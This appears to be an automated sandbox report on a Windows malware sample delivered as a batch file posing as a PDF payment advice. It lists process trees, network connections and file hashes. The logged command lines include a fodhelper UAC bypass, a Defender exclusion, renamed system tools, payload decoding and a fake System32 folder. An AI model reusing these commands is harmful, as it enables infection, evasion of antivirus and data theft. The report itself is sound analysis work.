Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5004 wrote to memory of 2032 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 5004 wrote to memory of 2032 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2032 wrote to memory of 1800 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 2032 wrote to memory of 1800 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 5004 wrote to memory of 2252 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 2252 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2252 wrote to memory of 2464 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2252 wrote to memory of 2464 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 5004 wrote to memory of 1204 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 1204 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1204 wrote to memory of 4868 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1204 wrote to memory of 4868 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 5004 wrote to memory of 1068 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 1068 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1068 wrote to memory of 216 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 1068 wrote to memory of 216 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 216 wrote to memory of 4300 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 216 wrote to memory of 4300 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 4300 wrote to memory of 2152 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 4300 wrote to memory of 2152 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 216 wrote to memory of 4280 N/A C:\Users\Public\xkn.exe C:\Windows\system32\fodhelper.exe
PID 216 wrote to memory of 4280 N/A C:\Users\Public\xkn.exe C:\Windows\system32\fodhelper.exe
PID 5004 wrote to memory of 3912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 3912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3912 wrote to memory of 396 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 3912 wrote to memory of 396 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 5004 wrote to memory of 2312 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 2312 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2312 wrote to memory of 1860 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2312 wrote to memory of 1860 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 5004 wrote to memory of 4460 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 5004 wrote to memory of 4460 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 5004 wrote to memory of 4460 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 5004 wrote to memory of 1060 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 1060 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 3228 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 3228 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 3624 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 3624 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 4308 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 4308 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 2840 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 2840 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2840 wrote to memory of 4040 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2840 wrote to memory of 4040 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 5004 wrote to memory of 1812 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5004 wrote to memory of 1812 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1812 wrote to memory of 4116 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1812 wrote to memory of 4116 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 4460 wrote to memory of 4584 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4460 wrote to memory of 4584 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4460 wrote to memory of 4584 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4460 wrote to memory of 3772 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4460 wrote to memory of 3772 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4460 wrote to memory of 3772 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4460 wrote to memory of 2616 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4460 wrote to memory of 2616 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4460 wrote to memory of 2616 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 2616 wrote to memory of 2924 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\8567939.exe
PID 2616 wrote to memory of 2924 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\8567939.exe
PID 2924 wrote to memory of 3668 N/A C:\Windows \System32\8567939.exe C:\Windows\system32\cmd.exe
PID 2924 wrote to memory of 3668 N/A C:\Windows \System32\8567939.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 4116 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 4116 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"

C:\Windows\system32\cmd.exe

cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Windows\system32\reg.exe

reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Windows\system32\fodhelper.exe

"C:\Windows\system32\fodhelper.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\Libraries\Lewxa.com

C:\\Users\\Public\\Libraries\\Lewxa.com

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c mkdir "\\?\C:\Windows "

C:\Windows\SysWOW64\cmd.exe

cmd /c mkdir "\\?\C:\Windows \System32"

C:\Windows\SysWOW64\cmd.exe

cmd /c "C:\Windows \System32\8567939.exe"

C:\Windows \System32\8567939.exe

"C:\Windows \System32\8567939.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""

C:\Windows\system32\cmd.exe

cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Koomxsve.PIF

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\System32\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\mwgyldz"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\pymjmwkdwjj"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\zsrbfgvxkrbfdg"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 2308 -ip 2308

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2308 -s 1512

Network

Country Destination Domain Proto
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 175.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 1010.filemail.com udp
US 23.237.50.106:443 1010.filemail.com tcp
US 23.237.50.106:443 1010.filemail.com tcp
US 8.8.8.8:53 106.50.237.23.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 178.223.142.52.in-addr.arpa udp
N/A 127.0.0.1:45671 tcp
N/A 127.0.0.1:55677 tcp
US 192.3.101.8:55677 tcp
US 192.3.101.8:55677 tcp
US 8.8.8.8:53 8.101.3.192.in-addr.arpa udp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 208.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 170.117.168.52.in-addr.arpa udp

Files

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\xkn.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4mkyne54.zta.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/216-26-0x0000021047300000-0x0000021047322000-memory.dmp

memory/216-27-0x00007FFC227B0000-0x00007FFC23271000-memory.dmp

memory/216-28-0x000002102CEB0000-0x000002102CEC0000-memory.dmp

memory/216-29-0x000002102CEB0000-0x000002102CEC0000-memory.dmp

memory/216-32-0x000002102CEB0000-0x000002102CEC0000-memory.dmp

memory/216-35-0x00007FFC227B0000-0x00007FFC23271000-memory.dmp

C:\Users\Public\kn.exe

MD5 bd8d9943a9b1def98eb83e0fa48796c2
SHA1 70e89852f023ab7cde0173eda1208dbb580f1e4f
SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA512 95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

C:\Users\Public\kn.exe

MD5 e4c6851572d5459f196239ed7dd642c9
SHA1 4bf14cb2a6c459912b0c67762216bffb601fdb62
SHA256 f30ba742c73c126e114da7f43d17ee19ba9fc9605e38ec3d7a4aa455c1904f5a
SHA512 40d79b0492965f76fa61cea55611bca517ba2a0c7392fd43eac8765964a5f83adff54464c211ae0388a5a4ef74413d04525930cb55dff41a9664a6ef8498d540

C:\Users\Public\Lewxa.txt

MD5 bd657cd3152d7b29f9f2e3b26646c7fb
SHA1 5940ddf6d3c8f0f7a3e8b9ee21c4fc3b3c5f669c
SHA256 49fa4036c01f3825c8e63481a1940a0d6e8624d6582b9285070976f7c3897015
SHA512 413856f57f3a0db75080925941d057630ed2167d4055cd0dcd5ac859446af2ec7af4730480f72ec622042aa78d7277dd00182440e41e9554d69bf9176d46656b

C:\Users\Public\Libraries\Lewxa.com

MD5 04aba5a372c8dac9affd6f1578b478b3
SHA1 1e0d764539cbf2e86e0d59b83f407b429f61fdb7
SHA256 b27a5e00f3339d8020da21dabc1c53e001bf5d4a809c47cee65f3e9383568411
SHA512 4d69053814b86bd13b59ca8b147a5331d0eace3ed2aaa936dc35086fdba8ef44d757bdc788eec61338f443578f98b8859f8dd7c7eeef486cab9ecb8eb5be15a3

memory/4460-52-0x0000000002560000-0x0000000002561000-memory.dmp

memory/4460-56-0x0000000004070000-0x0000000005070000-memory.dmp

memory/4460-58-0x0000000004070000-0x0000000005070000-memory.dmp

memory/4460-60-0x0000000000400000-0x0000000000527000-memory.dmp

C:\Windows \System32\8567939.exe

MD5 231ce1e1d7d98b44371ffff407d68b59
SHA1 25510d0f6353dbf0c9f72fc880de7585e34b28ff
SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
SHA512 520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

C:\Windows \System32\netutils.dll

MD5 fa7aa88417d0c48807144a1a48fe3fbc
SHA1 6f5ec990b12d4a6075050a94e0d68d03781fa46d
SHA256 2019dcd18ba7d5554a4a9da882740aa883941670af3de9396960081a0f8aa098
SHA512 99b2eb6f8e7d00a3803cba229149e5e0cb67a3deb607782c55fbacd25d9c074cce83759de15490eff939d5ad98f26cdbd44395cc79ffe22753e16c3d9e3b5fff

memory/2924-72-0x00000000613C0000-0x00000000613E3000-memory.dmp

C:\windows \system32\KDECO.bat

MD5 c545650595b479c81ad6b9d8882aae39
SHA1 7a98aa2e6eee23b3c1bba876955d525bc618b3f0
SHA256 a3a80983cb33159f0455fa0135789402558baa1460db94d0071318512b8cb5f9
SHA512 85ac596a7da9072a28c4178e4fdedc98f1b49c8e3fe5612cfe464833297b13f65d2dc59b52d7fc9970cff8f98d954111229aec0ed9dded454e03b0cf4ebb6ff3

memory/748-74-0x00007FFC210D0000-0x00007FFC21B91000-memory.dmp

memory/748-75-0x000002B0FAE10000-0x000002B0FAE20000-memory.dmp

memory/748-86-0x000002B0FAE10000-0x000002B0FAE20000-memory.dmp

memory/4460-85-0x0000000002560000-0x0000000002561000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a6c9d692ed2826ecb12c09356e69cc09
SHA1 def728a6138cf083d8a7c61337f3c9dade41a37f
SHA256 a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b
SHA512 2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

memory/748-88-0x000002B0FAE10000-0x000002B0FAE20000-memory.dmp

memory/748-91-0x00007FFC210D0000-0x00007FFC21B91000-memory.dmp

memory/2308-98-0x0000000000E00000-0x0000000001E00000-memory.dmp

memory/2308-100-0x0000000000E00000-0x0000000001E00000-memory.dmp

memory/2308-101-0x0000000000E00000-0x0000000001E00000-memory.dmp

memory/2308-102-0x0000000000E00000-0x0000000001E00000-memory.dmp

memory/2308-104-0x0000000000E00000-0x0000000001E00000-memory.dmp

memory/2308-106-0x0000000000E00000-0x0000000001E00000-memory.dmp

memory/2308-108-0x0000000000E00000-0x0000000001E00000-memory.dmp

memory/2308-109-0x0000000000E00000-0x0000000001E00000-memory.dmp

memory/2308-110-0x0000000000E00000-0x0000000001E00000-memory.dmp

memory/2308-111-0x0000000000E00000-0x0000000001E00000-memory.dmp

memory/2308-113-0x0000000000E00000-0x0000000001E00000-memory.dmp

memory/4584-115-0x0000000000400000-0x0000000000478000-memory.dmp

memory/4676-117-0x0000000000400000-0x0000000000462000-memory.dmp

memory/4584-118-0x0000000000400000-0x0000000000478000-memory.dmp

memory/4676-121-0x0000000000400000-0x0000000000462000-memory.dmp

memory/4584-123-0x0000000000400000-0x0000000000478000-memory.dmp

memory/4676-129-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2424-130-0x0000000000400000-0x0000000000424000-memory.dmp

memory/4676-128-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2424-131-0x0000000000400000-0x0000000000424000-memory.dmp

memory/4676-132-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2424-133-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2424-120-0x0000000000400000-0x0000000000424000-memory.dmp

memory/4584-135-0x0000000000400000-0x0000000000478000-memory.dmp

memory/2308-137-0x0000000020B50000-0x0000000020B69000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\mwgyldz

MD5 794bf931212af3178e85954ea35f687a
SHA1 e78eb5300a58c85256b08135673b991f8dfce664
SHA256 49911477803d5cea085304ff6af24310412e31d37b88ac30d5cbd890c98d5619
SHA512 4a1d63034421b56d8968da94049b83ed1a78f832d8fb92664e3dd5240531be8a277163a1c4ddefeafb18651e2cf8219adbdb82763d8b5c695e8ed8ce8250d6df

memory/2308-140-0x0000000020B50000-0x0000000020B69000-memory.dmp

memory/2308-142-0x0000000000E00000-0x0000000001E00000-memory.dmp